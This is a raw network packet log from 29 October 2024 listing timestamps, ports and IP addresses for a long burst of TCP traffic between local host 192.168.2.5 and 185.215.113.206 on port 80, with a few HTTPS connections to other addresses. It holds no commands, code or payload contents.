Oct 29, 2024 20:35:24.102864981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102880001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102880001 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102880955 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102900028 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102911949 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102922916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102936983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102941036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102941036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102947950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102960110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102971077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102983952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.102993011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102993011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.102996111 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103008032 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103022099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103034019 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103091002 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103091955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103091955 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103097916 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103108883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103120089 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103131056 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103142977 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103156090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103157043 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103167057 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103178978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103180885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103180885 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103188992 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103200912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103210926 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103221893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103233099 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103244066 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103257895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.103281021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103281021 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103358030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.103987932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104000092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104011059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104021072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104034901 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104047060 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104058981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104062080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104062080 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104068995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104079962 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104091883 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104104042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104115009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104131937 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104135036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104135036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104144096 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104154110 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104166985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104172945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104172945 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104177952 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104199886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104211092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104218006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104218006 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104223013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104233980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104244947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104255915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104266882 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104271889 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104271889 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104279041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104290009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104301929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104301929 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104305029 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104321003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104334116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104345083 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104357004 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104357004 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104357004 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104367971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104377985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104389906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104398012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104398012 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104401112 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104412079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104420900 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104424000 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104435921 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.104466915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.104466915 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.106103897 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.176227093 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:24.176281929 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:24.176376104 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:24.176631927 CET	49956	443	192.168.2.5	20.190.159.2
Oct 29, 2024 20:35:24.176651001 CET	443	49956	20.190.159.2	192.168.2.5
Oct 29, 2024 20:35:24.239878893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239897013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239911079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239953041 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239964008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239974976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239985943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.239998102 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240010023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240030050 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.240046024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240046024 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240047932 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240060091 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240072966 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240080118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240083933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240096092 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240107059 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240118980 CET	443	49951	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:24.240118980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240128994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240128994 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240227938 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240705967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240717888 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240736008 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240747929 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240793943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240793943 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240858078 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240869999 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240881920 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240906954 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.240986109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.240998030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241008997 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241023064 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241039991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241039991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241039991 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241050959 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241063118 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241071939 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241085052 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241096973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241102934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241102934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241108894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241121054 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241167068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241167068 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241198063 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241209030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241219044 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241230011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241230011 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241240978 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241252899 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241264105 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241276979 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241305113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241305113 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241318941 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241336107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241347075 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241358995 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241369963 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241375923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241375923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241381884 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241420031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241420031 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241445065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241456985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241473913 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241493940 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241503954 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241508961 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241518974 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241518974 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241518974 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241522074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241585016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241585016 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241765976 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241777897 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241789103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241801023 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241806984 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241811991 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241827965 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241839886 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241852045 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241853952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241853952 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241863012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241873980 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241885900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241894960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241894960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241897106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241908073 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241920948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.241974115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.241974115 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242098093 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242100954 CET	49951	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:24.242151022 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242162943 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242173910 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242185116 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242197037 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242211103 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242228985 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242233038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242233038 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242240906 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242253065 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242263079 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242274046 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242280960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242280960 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242285013 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242296934 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242306948 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242319107 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242330074 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242331028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242331028 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242341042 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242352009 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242372036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242372036 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242527962 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242691994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242703915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242722034 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242733002 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242743969 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242758036 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242763996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242763996 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242769957 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242815018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242815018 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.242942095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242954016 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242964983 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242975950 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242986917 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.242999077 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243009090 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243012905 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243012905 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243021011 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243038893 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243061066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243061066 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243082047 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243093967 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243103981 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243120909 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243127108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243127108 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243133068 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243144035 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243155003 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243166924 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243175030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243175030 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243177891 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243190050 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243201971 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243212938 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243232012 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243240118 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243241072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243243933 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243254900 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243264914 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243275881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243279934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243279934 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243287086 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243299007 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243310928 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243346930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243346930 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243452072 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243464947 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243477106 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243489027 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243499994 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243511915 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243552923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243552923 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243603945 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243616104 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243627071 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243638039 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243649006 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243652105 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243659973 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243671894 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243684053 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243690968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243690968 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243695974 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243707895 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243737936 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243750095 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243753910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243753910 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243760109 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243772030 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243788958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243788958 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243789911 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243802071 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243813038 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243825912 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243838072 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243846893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243846893 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243849993 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243860960 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243872881 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243885040 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243886948 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243886948 CET	49863	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:24.243916988 CET	80	49863	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:24.243933916 CET	80	49863	185.215.113.206	192.168.2.5
